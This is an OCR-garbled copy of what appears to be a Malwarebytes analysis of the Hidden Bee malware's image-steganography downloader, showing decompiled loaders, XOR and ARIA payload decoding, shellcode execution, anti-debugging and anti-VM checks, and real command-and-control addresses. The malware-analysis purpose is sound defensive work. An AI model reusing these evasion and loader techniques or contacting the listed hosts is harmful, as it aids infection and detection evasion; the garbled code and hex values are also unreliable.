3| _BYTE *output_arr; [/ eax

4| unsigned int indx; // esi

5| bool is _finished; // =T

6

7| output_arr = input_arr + @xld;

8| if ( input_arr[7] )

s {

@ indx = @;

1 is finished = *{{_DWORD *}input_arr + 4) == 8;
2 input_arr[7] = 9;

3 if ( !is_finished )

4 {1

= do

; {

7 output_arr[indx] “= input_arr[{indx & 7} + B];
8 ++indug

5 }

8 while { indx < *{{_DWORD *}input_arr + 4) };
L h

2| 3

3| return output_arr;

b

Inside the images downloader

Let’s look inside the first module in the 0x10000401 format that we encountered. This module is an initial stage,

and its role is to download and unpack the other components. One such component is in a CAB format (that’s why

we can see the Cabinet.dll among the imported DLLs).

The role

of this module is similar to the first “WASM” mentioned in our post a year ago. However, the current

version is not only better protected, but also comes with some improvements. This time the downloaded content is

hidden in the images. So, analyzing this element can help us to understand how the used stenography works.

First, we can see that the URLs are retrieved from their Base64 form:

Page 118 of 265



Ba311658
B@8311656
@a31165C
Ba31165F
@a311B64
Ba311665
88311666
88311666

https://blog.malwarebytes.com /threat-analysis /2019 /08 /the-hidden-bee-infection-chain-part-1-the-stegano-pack/

Mo
push
lea

push
push
push
call
add

[

EaX

eax, [ebp+targ_@]
offset basebd Str ; "SQBodHRwOiBwvMzguNzUUMTM3Ljke0TALDC 9wdWI" . ..

eax
esi

basetd decode
esp, 1léh

[Ehh+arg:8], eax

a4

This string decodes to a list containing URLSs of the PNG and JPG files that are going to be downloaded. For each

sample, this set is unique. None of the URLSs can be reused: the server gives a response only once. An example of

a URL set:

http://38.75.137.9:9088/pubs/wiki.php?id=937a4eaddb6f5a94b3738a58dcc79cal3 http://38.75.137.9:9088/im

So, we can confirm that this module is the one responsible for downloading and processing the observed images.

Indeed, inside we can find the functions responsible for their decoding.

Decoding the JPG

After the payload is retrieved, the JPG header is validated.

1CES
1CBE
1CC1
1CCy
1CCE
1Dl
1CD7
1CoD
1CE1
1CEY
1CEE
1CF1
1CF5S
1CFE
1CFF
1mas
1mas

jz

cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz

loc_311F3C

byte ptr [ebx], BFFh
invalid_payload

byte ptr [ebx+1], @D8h
invalid payload

word ptr [ebx+2], @E@FFh
invalid payload

byte ptr [ebx+s], "1
invalid_payload

byte ptr [ebx+7], 'F'
invalid_payload

byte ptr [ebx+8], 'I'
invalid_payload

byte ptr [ebx+3], 'F'
invalid payload

byte ptr [ebx+8sh], @
invalid_payload

Then, the payload is decoded by simply using an XOR with the last byte. The decoded content is expected to start

from the !rcx magic ID.
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—— v Y
Ll e 55
28311069
@B311069 wor_next:
88311069 xor [eax+esi], cl
@8311D06C inc eax
88311060 cmp eax, [ebx+18h]
@e3110ve jb short xor_next
% L |
=
Be311D072
88311072 loc_311072:
@8311072 cmp [esi+4], edi
@8311D075 ja invalid payload
Y
Ll i 5=
@831107E cmp dword ptr [ksi], 'xcr!’
@8311D081 jnz invalid payload

After decoding the content, the hash of the !rcx module is validated with the help of SHA256 hash. The valid hash
is stored in the module’s header and compared with the calculated hash of the file content.

288311087 lea eax, [esi+s]
28311084 push 32
2@831108C push eax

@8311080 lea eax, [ebptvar_4C)]
@8311098 push eax

8311091 mov [ebptarg_e], 48
288311098 lea edi, [esi+28h]

88311098 call j_memcpy
28311048 push 32

288311042 lea eax, [esi+s]
883110A5 push @

283110A7 push eax

@83110A8 call j_memset
@83110AD lea eax, [ebp+var_BC]
88311083 push eax

88311064 call sha256_init
28311089 push [ebp+var_4]
@8@83110BC lea eax, [ebptwvar BC]
883110C2 push esi

2@83110C3 push eax

@83110C4 call sha256_hash

@83110C9 lea eax, [ebp+var_BC]
@883110CF push eax
8311008 lea eax, [esi+d]

28311003 push eax

28311004 call sha25&_finish
288311009 lea eax, [esi+s]
2831100C push 32

@831100DE push eax

@83110DF lea eax, [ebpt+var_4C)]
@883110E2 push eax

@83110E3 call h_memcmp
@@83110DEE add esp, 3Ch
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If the validation passed, the shellcode stored in the !rcx module is loaded. More details about the execution flow

will be given later.

il )=

Ba311ELF
@8311E1F loc 311E1F: 3 _DWORD
@B311E1F push 4ah
BB311E21 push 1ee8h 3 _DWORD
BB311E26 push dword ptr [edit+3] ; _DWORD
@8311E29 push ) ; _DWORD
@8311E28 call ds:WirtualAlloc
B8311E31 test eax, eax
BB311E33 mov [ebpt+shellcode_mem], eax
@B311E36 jz short loc 311E48

— |

L |
FEE
BB311E38 push dword ptr [edi+d]
@B311E3E add edi, 1eéh
@B311E3E push edi
BB311E3F push eax
B8311E48 call j_memcpy
BB311E45 add esp, 8Ch

|

The !rcx package has a simple header:

Cffsec(h) 00 01 02 03 04 05 06 OT 08 0% QR OB OC OD
00000000
00000010
00000020
00000030

31 CO 40 90 OF 8
00000040 OO0 OO E8 04 00 OO0 00 OF 00 &0 OC 58 &0 64
Q00000050 30 OO0 00 00 52 51 50 56 E8 44 00 00 00 61
00000060 54 24 04 BE 44 24 OC 56 8B 74 24 0OC 57 8
00000070 OF BT 02 42 42 23 F8 41 7C 08 83 F& 54 TF
00000080 CO 20 OF BT OE 46 46 83 F9 41 T7C 08 83 F3
00000090 03 83 C1 20 3B DT 73 04 3B C1 74 D4 5F 2B
000000RA0 C3 52 8B EC 83 EC 4C BB 45 08 53 5o 57 &b
000000BO 6A &C 58 33 C9 66 89 45 BE 66 895 45 C8 66
000000C0 CA &6 89 45 EE &6 89 45 FO &6 895 45 F6& &6

Decoding the PNG

Retrieving the content from the PNG is more complex.

T
R

Frin;

o
= ]

" 5 Ak )
S
Lt kg D Lo e

First, after downloading, the PNG header is checked:
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8@83116CE loc 3116CE:

883116CE lea eax, [ebptvar &]
88311601 push 8

88311603 push eax

88311604 push edi

@83116D5 xor esi, esi
88311607 mov [ebp+var_8], 89h
@8831160E mov [ebp+var_7], 'P'
@8831160F mov [ebp+var_&], 'N'
883116E3 mov [ebp+var_ 5], 'G'
883116E7 mov [ebp+var_4], @Dh
8B83116EE mov [ebp+var_3], @sh
BB83116EF mov [ebp+var_2], 1ah
BB3116F3 mov [ebp+var_1], @ah
@B3116F7 call j_memcmp
883116FC add esp, BCh

The function decoding the PNG has the following flow:

33| decoded buf = @;

34| png_hdr = @x89u;

35| w1z = 'P';

36| v N

37 G

38 '

39 "\n';

40 = 26;

41| vis = 1e;

42| if ( !'j_memcmp(payload, &png_hdr, B) )

43 decoded_buf = (_BYTE *)decode_from png(payload, functions_list, &size);
44| result = free(payload);

45| if ( decoded buf )

46| {

47 if ( !(size & 3) )

48

49 buf_ptr = deceded_buf;

5@ aria_set_key((unsigned int *)&crypt_ctx, aria_key_ptr + 4, *(_DWORD *)aria_key ptr);
51 j_memset(aria_key ptr + 4, @, *(_DWORD *)aria_key_ptr);

52 if ( size )

53 {

54 do

55 I

56 aria_crypt_round(&crypt_ctx, buf_ptr, buf_ptr);

57 index += 16;

58 buf_ptr += 16;

59

68 while ( index ¢ size };

&1 }

62 if { *decoded_buf == "M" && decoded_buf[1] == 'S’ && decoded_buf[2] == 'C' && decocded_buf[3] == 'F' }
&3 {

64 if ( unpack_cab(&v1@, (int)decoded buf, size) )

65

66 module_name = decode_memory((int)sub_317EE4);// "bin/i386/core.sdb”
67 load from_package{index, (int)decoded_buf, (int)}&v1e, module_name, @);
68 free_module(&via);

69 }

78 }

71

72 result = free(decoded_buf);

73| }

74| return result;

75}

It converts the PNG into byte content and decrypts it with the help of ARIA cipher. The result should be a CAB
format. The unpacked CAB is supposed to contain a module “bin/i386/core.sdb” that also occurred in our previous

encounters with Hidden Bee.

The authors are careful not to reuse URLs as well as encryption keys. That’s why the Aria key is different for

every unique payload. It is stored just after the end of the 0x10000401 module :
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During the module’s loading, the key is rewritten into another memory area, from which it is used to decrypt the

downloaded module.

@83185C4 movzx  ecx, word ptr [esi] ; copy the ARIA key

883185C7 mov [eax], ecx

883185C9 mov eax, ds:aria_key ptr
883185CE push dword ptr [eax]
@a318508 add eax, 4

88318503 push ebx
88318504 push eax
@p318s505 call j_memcpy
@p3185DA add esp, @Ch

e

88318500 loc_31@5D0:

@e31850D cmp ds:aria_key ptr, @
8B83185E4 jnz short continue_to download
|1
Ll s
Ba3185Ee @a31a85EE
8@83185E6 loc_31@5E6: 3 _DWORD| @@31@5EE kcntinue_tc_dcwnlcad: 3 _DWORD
B8@83185E6 push ] BB3185EE push 7
283185E8 call ds:ExitProcess ea3lesFe call ds:SetErrortode
883185F6 mov eax, [ebp+param]
883185F9 push dword ptr [eax+@Ch]
883185FC call download_and_deccde_images
B0318681 jmp loc_318AF1

The CAB file retrieved from the PNG is available here: 001bdc26b2845dcf839f67a8760c6839

\Z > @ Location: |i /bin/i386/

Name v | Size Type Modified
iz core.sdb 26.7 kB unknown 01 January 1970, 01:00

It contains core.sdb (d1a2fdc79c154b120a0e52c46a73478d). That is a second module in Hidden Bee’s custom

format.
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Inside core.sdb

This module (retrieved from the PNG) is a second downloader component in the 0x10000401 format. This time, it
uses a custom TCP-based protocol, referenced by the authors as SLTP. (This protocol was also used by the

analogical component seen one year ago). The embedded links:

sltp://dns.howtocom.site:1108/minimal.bin?id=998 sltp://bbs.favcom.space:1108/setup.bin?id=999

Execution flow

1. Checks for blacklisted processes. If any are detected, exits.

2. Removes functions:

DbgBreakPoint

DbgUserBreakPoint
by overwriting their beginning with the RET instruction.
3. Checks if the malware is already installed. If yes, exits.
4. Creates an installation mutex

{71BB7F1C-D700-4487-B9C6-6DD9863DFE91}-ins.

5. If the module was run with the flag==1:

1. Connects to the first address:

sltp://dns.howtocom.site:1108/minimal.bin?id=998

2. Sets an environment variable
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INSTALL_SOURCE

to the value given as an argument.
3. Runs the downloaded next stage module.
6. If the module was run with the flag!=1:
1. Performs checks against VM. If detected, exits.

2. Connects to the second address:

sltp://bbs.favcom.space:1108/setup.bin?id=999

. This time, appends the victim’s fingerprint to the URL. Format:

&sid=&sz=&os=8ar=

3. Runs the downloaded next stage module.

Defensive checks

At this stage, many anti-analysis checks are deployed. First, there are checks to detect if any of the blacklisted
processes are running. The enumeration of the processes is implemented using a low-level function:

NtQuerySystemInformation with a parameter 5 (

SystemProcessInformation
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36 j_memset{(int}vl, @, SystemInformationLength};
37 if ( INtQuerySystemInformation(v3, 5, v2, SystemInformationLength, &SystemInformationLength) )
38

39 while ( !blacklisted _processes[@] )

4a

41|check_next:

42 if ( !*(_DWORD *}v2 )

43 goto finished;

a4 v2 += *(_DWORD *)v2;

45 1

46 next_proc_name = blacklisted_processes;

47 _next_proc_name = blacklisted_processes;

43 while ( 1 )

49

5@ RtlInitUnicodestring(&ve, *next_proc_name);
51 if ( (_WORD)vE == *(({_WORD *)v2 + 28) )
52

53 if ( (unsigned _ int8)RtlEqualUnicodeString(&ve, v2 + 56, 1) )
54 break;

55 1

56 next_proc_name = _next proc_name + 1;

57 _next_proc_name = next_proc_namej

58 if ( !*next_proc_name )}

59 goto check_next;

60 1

61 blacklisted found = 1;

62

63 [Finished:

64 LocalFree(v7);

65

66 return blacklisted found;

67}

The blacklist contains popular debuggers and sniffers:

“devenv.exe” , “wireshark.exe”, “vmacthlp.exe”, “procmon.exe”, “ollydbg.exe”, “idag.exe”,

» <«

“ImmunityDebugger.exe”, “windbg.exe”

» o«

“EHSniffer.exe”, “iris.exe”, “procexp.exe”, “filemon.exe”, “fiddler.exe”

The names of the processes are obfuscated, so they are not visible on the strings list. If any of those processes are

detected, the execution of the module terminates.
Another function deploys a set of anti-VM checks. The anti-VM checks include:

46| ms_exc.registration.Trylevel = @;
47| CPUID check(&/27, Bx40000000);
48| *(_DWORD *)v33 = v28;
49| *(_DWORD *)&33[4] = v2
58| *(_DWORD *)&33[8] = v3
51| ms_exc.registration.Trylevel = -1;
52| HIBYTE(v34) = @;

53| if ( VPCEXT_check() )

54 goto set_wm_flag;

55| if ( VMWare io check() )

56 goto set _wm_flag;

PG -

L

-
A=
e

CPUID with EAX=40000000 (a_check for Hypervisor’s Brand):

- a -

B824335CB push hBBBBBBBh

82433500 lea eax, [ebpt+var_544]
@2433506 push eax

82433507 call CPUID check
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82433414 pusha

8243341 mov eax, [ebptarg_ 4]
A243341E wor ehw, ehx
B2433428 xor BCH, BCX
A2433422 wor edx, edx
82433424 cpuid

B2433426 mov edi, [ebptarg_g]

The VMWAre 1/0 Port (more details [here]):

A243353A mov eax, VMKh'

@243353F mov ebx, 8

82433544 mov ecx, Bah

82433549 mov edx, "WVX'

B243354E in eax, dx ; check for Wware
B243354F cmp eba, "VMIh'

@2433555 set:z [ebp+var_1C]

VPCEXT instruction (more details [here])

B824334B3 push ebx
@2433464 mov ehx, @
82433489 mov eax, 1
B24334BE wpcext 7, @Bh
@24334C2 test ehx, ebx
82433404 setz [ebptvar_1C]

Checking the list of common VM vendors:
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57| v = decode_memory(&str_XenVMMXenViMM); JI " XenVMMenviiM™
58| if ( !strncmp(v33, ve, 12} )

59 goto set_wm_flag;

68| vl = decode_memory(&str_VMWareViMware); J "VMwareVMware”
51| if { !strncmp(v3z, v1, 12} )

62 goto set vm_flag;

63 w2 = decocE_memory{&str_KUHWHKUH}; £ KVMKVMVM"
64| if { !strncmp(v33, w2, 12} )

65 goto set_wvm_flag;

66| w3 = decode_memory{&str KVMIKVMKVM) ; JI T IEMEVMICVM™

67| if { !strncmp(v33, v3, 12} )

68 goto set_wm_flag;

59| w4 = decode_memory(&unk_2435F78); " lrpepyh  wr™
7a if ( !'strncmp(v33, w4, 12} )

71 goto set_vm_flag;

72| w5 = decode_memory(funk_ 2435F58); // "sbiedll.dll™

73| if ( GetModuleHandleA(vS) )

74 goto set_wm_flag;

75| if { !GetComputerNameW(Buffer, &nSize) )

76 goto set_wm_flag;

77| we = (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"
78| if ( !lstrcmpiW(Buffer, wg) )}

79 goto set_vm_flag;

28| nSize = 1824;

81| if ( !'GetUserNameW(Buffer, &nSize) )

82 goto set_wm_flag;

83| w7 = (const WCHAR *)decode_memory(&unk_2435F88);// L"CurrentUser”
84| if ( !'1strcmpiW{Buffer, w7} )

85 goto set_wm_flag;

86| wi = (const WCHAR *)decode memory(dword 2435F34);// L"SANDBOX™
87| if ( !lstrcmpiW({Buffer, w8) )

88 goto set_vm_flag;

Checking the BIOS versions typical for virtual environments:

39| w9 = decode_memory (&unk_2435EE8); /7 "StrstrIA”
96| w10 = decode_memory(&unk_2435EC8); /7 "shlwapi.dll”
91| shlwapi_dll = LoadLibraryA(v1@);

92| StrStrIA = GetProcAddress(shlwapi dll, va);

93| if ( !strstria )

94 goto not_detected;

95 j_memset((int)Buffer, @, 2848);

96| w12 = decode_memory(&unk_2435EA8); // "SystemBiosVersion™

97 w13 = decode_memory(&byte_2435E70); // "HARDIWARE\DESCRIPTION\System"”
98| if ( read_registry_key(v13, v12, (BYTE *)Buffer, @) )

9a| {

1ee if ( ((int (__stdcall *)(WCHAR *, const char *))strstrIA)(Buffer, "VBOX") )
181 goto set_vm_flag;

182| }

183 v14 = decode_memory(&unk_2435E48); // "VideoBiosVersion”

184 w15 = decode_memory(&byte_2435E78); // "HARDWARE\DESCRIPTION\System"
185 if ( read_registry key(v15, w14, (BYTE *)Buffer, @) )

186 {

187 V16 = decode_memory(&unk_2435E28); /4 "virtualBox"

108 if ( ((int (__thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(vl7, Buffer, v16) )
189 goto set_wvm_flag;

110| }

111 w18 = decode_memory(&unk_2435EA8); // "systemBiosVersion™

112 v19 = decode_memory(&str Windows_CurrentVersion};// "SOFTWARE\Microsoft\Windows\CurrentVersion”
113 if ( read_registry_key(v19, w13, (BYTE *)Buffer, @)

114 8& ((idl = decode_memory(&unk_2435DB4), ((int (_ thiscall *)(int, WCHAR *, _BYTE *))Strstria)(vzl, Buffer, id1})// "55274-648-2673064-23950"

115 || (id2 = decode_memory(&unk_2435088), ((int (_ thiscall *){int, WCHAR *, | *))StrstrIa)(v23, Buffer, id2))// "76487-644-3177837-23518"
116 || (id3 = decode_memory(&unk_2435D5C), ((int (_ thiscall *)(int, WCHAR *, BYTE *))StrStria){v2s, Buffer, id3))) )// "76487-337-8429955-22614"
117

118|set_vm_flag:

119 vm_detected = 1;

128

121| else

122 {

123|not_detected:

124 vm_detected = @3

125

126 return vm_detected;

127}

Detection of any of the features suggesting a VM results in termination of the component.

Downloading new modules
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The next elements of HiddenBee are downloaded over the custom “STLP” protocol.

B24348F6 lea eax, [ebpt+var_48)]
B24348F9 push offset asltp ; "sltp”
B24348FE push eax

B24348FF call j_strcmp

e2434984 pop ecx
82434985 test eax, eax
@24349a87 pop ecx
82434988 jnz loc_2434AD9

The raw TCP socket created to communicate using the SLTP protocol:

socket = WSASocketA(2, 1, @, @, @, lu); // address family: 2 (AF_INET)
// type: 1 (SOCK_STREAM)
f/ protocol : @ (unspecified)
// lpProtocolInfo: NULL
// group: NULL
#/ flags: 1 (WSA_FLAG_OVERLAPPED)

vB[13] = socket;
if ( socket I= -1
i
vInBuffer = @x25A287B9;
w32 = @xDDF3u;
Vi3 = @x4660;
vid = @x8Eu;
w35 = @xE9u;
viE = @x7e;
= @xE5u;
= @Bx8Cu;
39 = Bx74;
= B;
val = @x3E;
if ( BindIoCompletionCallback(socket, LpoverlappedCompletionRoutine, @) )
{
callback = @3
if ( WSAToctl(vG[13], @xC880@886, &vInBuffer, @x18u, &callback, 4u, (LPODWORD}&cbBytesReturned, @, @) I= -1 )
*(_DWORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[4] = @;
*(_DWORD *)&name.sa_data[8] = @;
*(_WORD *)&name.sa_data[l2] = @;
23
viz = vB[13];
name.sa_family = 2;
*(_WORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[2] = @;
if ( bind(viz, &name, 16) != -1 )
j_memset((int)ve, @, 28);
if ( 'callback(ve[13], &v26, 16, @, @, &cbBytesReturned, ve) && WSAGetLastError() == Ox3ES )
return 1;
}
1

closesocket(ve[13]);

The communication is encrypted. We can see that the expected output is a shellcode that is loaded and executed:
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do
{
5 = vA[1];
i S )
if (w5 ==2)
{
B = *(va - 1);
if (w6 + *vd > a2 )
break;
fz zize = *yd:
=_=LleE St |
ustom_fs = & buffer[ve];
}
}
else
if ( *(v4 - 1) + *va > a2 )
break;
new_module = (wvoid (_ stdcall *)(int (_ stdcall **)(int), _BYTE *, DWORD))VirtualAlloc(®, *v4, Bx1006u, Bx40u);
if ( new_medule )
j_memepy((int)new_medule, (int)& buffer[*(v4 - 1)], *v4);
++bufferaz
vd += 3;
b
while { (unsigned int)buffera < *({_DWORD *)_buffer + 1} };
if { new_module )
{
if ( custom_fs }
{
F malloc,
(__stdecall *)(int))to_memcpy;
int))virtualAlloc;
T i int {__ int))virtualFree;
decode memory(&lnput arr); /! "IwQueryInformationProcess”
= decode_memory (&str_ntdll d1ll);
/8 = GetModuleHandlef(v7);
functions_list[5] = ( nt (__stdecall *)(int))GetProcAddress(vs, v9);// ZwQueryInformationProcess
new_module(functions list, custom_fs, fs_size);
VirtualFree(new_ medule, @, axseebu) ;
}
}

The way in which it is loaded reminds me of the elements we described recently in “Hidden Bee: Let’s go down

the rabbit hole“. The current module loads a list of functions that will be passed to the next module. It is a
minimalistic, custom version of Import Table. It also passes the memory with the downloaded filesystem to be

used for further loading of components.

The !rcx package

This element retrieves the custom filesystem used by this malware. As we know from previous analysis, Hidden
Bee uses its own, custom filesystems that are mounted in the memory of the malware and passed to its
components. This filesystem is important for the execution flow because it contains many other components that

are supposed to be installed on the attacked system in order to continue the infection.

As mentioned before, unpacking the JPG gave us an !rcx package. After this package is downloaded, and its
SHA?256 checksum is validated, it is repackaged. First, at the end of the !rcx package, the list of URLs (JPG,
PNG) from the previous module is copied. Then, the ARIA key is copied. The size of the module and its SHA256

hash are updated. Then, the execution is redirected to the first stage shellcode fetched from the !rcx.

This shellcode was the one that we saw at first, after decoding the !rcx package from the JPG. Yet, looking at this
part, we do not see anything malicious. The elements that are more important are well protected and revealed at

the next execution stages.

The shellcode from the !rcx package is executed in two stages. The first one unpacks and prepares the second.

First, it loads its own imports using hardcoded names of libraries.
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eaeaaaBl sub edi, ecx

282883 mov [ebp+var_4C], EEh ; "K'
BERBEAEY mov [ebp+var_4aA], &5h ; ‘e’
BPRBBAEF mov [ebp+var_48], 72h ; 'r'
2eepaacs mov [ebp+var_46], GEh ; 'n’
aeesaacE mov [ebp+var_44], &65h ; 'e'
aeaeea0l mov [ebp+var_4@], 33h ; '3°
aeae8a07 mov [ebp+var 3E], 32h ; '2°
282800 mov [ebp+var_3C], 2Eh ; ".°
2E28ERE3 mov [ebptvar_3A], E4h ; "d°
BERBBAES mov [ebp+var_18], &Eh ; 'n’
BEBBBAEF mov [ebp+var_16], 74h ; 't'
BERBRAFS mov [ebp+var_14], &64h ; 'd’
BERBRAFE mov [ebpt+var_E], 2Eh ; ".'
2eae8181 mov [ebp+var _C], &4h ; "d’
aeaee187 mov ebx, [esi]

The checksums of the functions that are going to be used are stored in the module and compared with the names

calculated by the function:

llunsigned int _ stdcall calc_checksum(_ BYTE *func_name)
2

3| _BYTE *_func_name; // edx

4| unsigned int checksum; // eax

5| char next_char; // cl

G| unsigned int prev_res; // esi

7| int _next _char; [/ eax

a8

9| _func_name = func_name;

18| checksum = @;

11| for { next_char = *func_name; next_char; ++ _func_name )
12| {

13 prev_res = (checksum >» 13) | (checksum << 19);

14 _next _char = next_char;

15 next_char = func_name[1];

16 checksum = prev_res + _next_char;

17| 1}

13| return checksum;

19[}

It uses the functions from kernel32.dll: GetProcessHeap, VirtualAlloc, VirtualFree, and from ntdIl.dll:
RtlAllocateHeap, RtlFreeHeap, NtQueryInformationProcess.

The repackaged !rcx module is supposed to be supplied as one of the arguments at the Entry Point of the first

shellcode. It is most important because the second stage shellcode will be unpacked from the supplied !rcx

package.
Ll 4
2eesal99 mov ebx, [ebpt+arg_C]
aeesaloc mov ecx, [ebx+d]
2eae819F cmp dword ptr [ecx], 'ker!’
Geaa81AS jnz loc_28B

A new memory area is allocated, and the second stage shellcode is unpacked there.
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new_module_ep = 83

vl5 = GetProcessHeap(8, *((_BYTE **}i + 2));
vl6 = (_BYTE *)RtlAllocateHeap(vlS);

indx = @;

buffer = vle:

if ((vie )

1

if ( *((_DWORD *)i + 2) > @u )

w18 = i + 16 - v16;

do

{
++inde;
*v16 = v16[v18] ~ @xEl;
+vl6;

h
while ( indx < *({_DWORD *}i + 2) };
_to _rcx_ptr = to_rcx_ptr;

allocated bufl = (unsigned _ intl6 *)_allocated_bufl;
if ( decode_module(
(int)&virtualalloc,// loaded_functions_list
(int)buffer,
*((_DWORD *)i + 2),
(int)_allocated_bufl,
F((_DWORD *)i 4 3)) == *((_DWORD *)i + 3) )
new_module_ep = allocated bufl;
v2@ = GetProcessHeap(@®, buffer});
RtlFreeHeap(v2e);
if ( new_module_ep )
((void (_ stdeall *)(int (_ stdcall **)(_DWORD, _DWORD, signed int, signed int), int, _DWORD, _DWORD)}new module ep)(
&virtualalloc, // loaded_functions_list
flag,
_to_rcx_ptr[1],
*_to_rcx_ptr);

result = (unsigned _ intlé *)VirtualFree(_allocated_bufl, @, @x3000);

Inside the second shellcode, we see strings referencing further components of the Hidden Bee malware:
/bin/i386/preload /bin/i386/coredll.bin

The role of the second stage is unpacking another part from the !rcx: an !rdx package.

if (Crdx ptr )

w32 = v18[3];
crypt_init(&crypt ctx, &crypt keybuf);
dec_size = @;
if ( wie[2] )

{
chunk_ptr = (_BYTE *)sizea;
for { 1 = (int)((char *)v18 - sizea + 16); ; i = (int)}({{char *)vl@ - sizea + 16} )
1
crypt_round{chunk_ptr, &chunk_ptr[i], (int)&crypt_ctx);
dec_size += 16;
chunk_ptr += 16;
if ( (unsigned int)dec_size »= v1e[2] )
break;
b

rdx_ptr = _rdx_ptr;

if ( decompress{(int)functions_list, (int)rdx_ptr, &332, sizea, v18[2]) )
goto LABEL_38;
w17 = ((int (__stdcall *)(signed int, signed int))}functions_list[2])(8, 12);

w18 = (_DWORD *)((int (__stdcall *)(int))functions_list[3])(v17)};
v3id = vl1g;
if ( 'vis )

goto LABEL_38;
*v18 = rdx_ptr;
if ( *rdx ptr == ‘fdr!’
1
v18[1] rdx_ptr + 13
v1g[2] = vie[3];

}
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aeeessly mov [eax], ebx
aeeerslE cmp dword ptr [ebx], 'xdr!’
@eeae621 jnz short loc 631

From our previous experience, we know that the !rdx package is a custom filesystem containing modules. Indeed,

after the decryption is complete, the custom filesystem is revealed:

HESEESER FUSH ERX
HASEESE 1 CALL HBESEZESE crypt_init
HASEESEE AHD OWORD FTE S5:[EEBF+EXC]. G:&
HASEESER CHF OWORD PTR DS:[ESI+E4S],@xE
HESEEEEE |+ | JEE SHORT HBRSSHSF2

BASEEECH HMal EEX, OWORD FTE S5:[EEF+8x18]
BASEESCS LEA ERX,DOWORD PTR DS:[ESI+@x18]
BESEESCE SUE ERH, EBX

HESEESCE MO OWORD FTRE S5: [EEF+EXE1. EAX
FESEESCE [+ | JHP SHORT EBRS&RS0E

HASEESCD Mal ERx, OWORD FTR S5:[EEBF+E25]
BASEES0R LER ECX,OWORD PTR 55:[EBP-8u15C]
HESEEE0E ROD ERX, EBX

BASEEE0S FUSH ECH

BASEES0Y FUSH ERX

BESEES0A FUSH EEX

HESEES0E CALL BBS&z192 crypt_round
HESEESER AOD OWORD FTR S5:[EEF+8MC]. 0= 19
HHSEESES AODO EE:X, Ex 1@

HASEEASET Mo ERX, OWORD FTE S5: [EEBF+ExC]
HESEESER CHP ERX, OWORD PTE DS:[ESI+E#E]
BEASEESED |~ | JE SHORT GAS&ESCD

BASEESEF MOL EEX, OWORD FTRE S5: [EEF-B8181
BESEESF 2 FUSH OWORD PTR DOS5:CESI+@xE]
HESEESFS LER ERx, OWORD PTR S55: [EBFP-B2C]
HESEESF S FUSH OWORD PTR 55: CEEP+@:168]
HHSEESFE FUSH ERX

HASEESFC FUSH EEX

HHSEEEFD FUSH EDI

CALL B8SEBEAE

ARG E TEST ERX,ERAX

BESEEEES [+ | JHE SHORT BBS&EE4E

HESEEEET FUSH &xiC

FHSEEEED FUSH &x3

CHLL DHERD FTR DO5:CEDI+@R:3] kernel32.GetProcessHeap

e e e TR

4
ERx=BE88E8EHE

Address | Hen dump ASCIT

gizipadclzl 72 64 FEIZ2 BE DR B0 ED @1 DB B0 20 G5 08 08| frda'™.. .70, 08,
HlzigEcs| 62 69 6E ZF 69 22 38 3¢ 2F ¥@ 72 65 &C &F &1 4| bin-iZ8é-preload
HisiBEcc| 08 B0 45 A8 08 B8 60 B3 08 B8 BA 2C 81 88 62 69| ..E...rll. .. B.b1
BisieErs|6E 2F 61 6D &4 35 34 2F 63 6F 72 65 &4 6L &0 ZE|n-amdéd-coredll.
EizipEzci 62 69 EE BB DA &4 OB B0 BB &D 24 Bl B8 B8 89 08 bin..d...mdB....
EizipEscied 62 €9 6B 2F &1 D 64 26 24 2F 7O ¥2 &£ &C &F|.binsamdedsprelo
EiziBEns 61 &4 BE BB OF B0 BE B0 S0 20 Bl B0 18 G5 00 00) ad..g... ;=B k..
GiziBEps 62 €9 EE 2F &9 22 22 26 2ZF &B 7@ 6C EF &1 &4 &5\ bin-i288-kploade
@lzi@EEce| v2 ZE 62 69 SE BB DA AD 0B @0 BE YD 42 @1 688 08| r.bin..g... 2B0..
BlzigEns| 10 88 68 62 &9 6E 2F 61 &0 &4 26 34 ZF &2 &F &D|..bin<amd&d-con
HisiBEES| 60 6F 6E ZE &4 &C &C B0 BA CE 98 828 88 70 SE Bl mon.dll..fFa.. 30
BisiBEFS| B8 B0 45 B8 B8 &2 &9 6E ZF 69 33 38 36 ZF 6B 6C|..E..bin~s1386-k ]
EiziBEinsfeF &1 &4 65 Y2 ZE &2 69 E6E @O BB ES B0 B8 88 70| ocader.bin..fi...}
Ei2iEiicfA2 61 B 62 OF BB BR &2 &9 6E 2F ¥2 &8 &9 &0 ZE|uB.h-..binsshim.
Eizi@izelel €9 EE BB 0E @Y B1 B0 BB EE DR B1 BB 20 60 08 bin..-8..6 B.0..
Gizimizoion 62 &9 6E|ZF &1 6D 64 26 24 2ZF ¥B F2 2ZE &2 69| .binsamdédspr.bi
Ei2i@E142(6E ZE 72 69 5F BB DA 22 01 @0 0B &5 AE Bl 88 28| n.zig..(8..e30.0
Hizi@icc|og 80 B8 62 &2 6E ZF 69 35 3% 26 2F F8 ¥2 ZE &2|...binsiZ86-pr.b
BisiEics| 6% 6E 2E 73 6% &7 DA B0 45 81 B8 B8 ES HE 81 08| in.sig..FB. 620,
Hisi@ivc|oa BH B8 B8 52 &9 6E 2F &1 60 &4 36 34 2F 7B 72| ....bin- andéd- pr
Eizi@ise| 2B 62 €9 6E DA BB &2 A1 BB B8 ES BS 81 B8 80 02 .bin..cd..hAB..0
Eizi@icociod BE 62 &9 6B 2F €9 223 28 26 2F VO F2 2E 62 €9 ..bin-si22cspr.bi
Ei2i@Einsf6E GO BE 27 6] B0 GE EE BD @1 0B FO BE 08 G0 &2\ n..ql..h20.-%..b
Gizi@ipe| e 6E 2F &1 6D &4 26 24 2ZF EB 7@ &C EF &1 &4 &E| insamdéd-kploade
@i2i@ice|v2 ZE 62 69 SE BB DA AZ Bl @0 6@ DS C2 @l 688 08| r.bin. .EB..AME..
Hizi@ibs| 16 88 B8 62 &2 6E ZF 69 33 3% 26 2F &2 &F &0 &D| ... bin~ 1386 comm
Bi21B1ES|6F 6E 2E &4 6L &C BB B8 CH 81 B8 B8 DS 0P 81 08 on.dll. .8, .FHE,
gisi@iFcioa ZE 81 88 62 &9 6E 2F 69 33 38 36 ZF 63 &F 72| ..8.bin-i386-cor
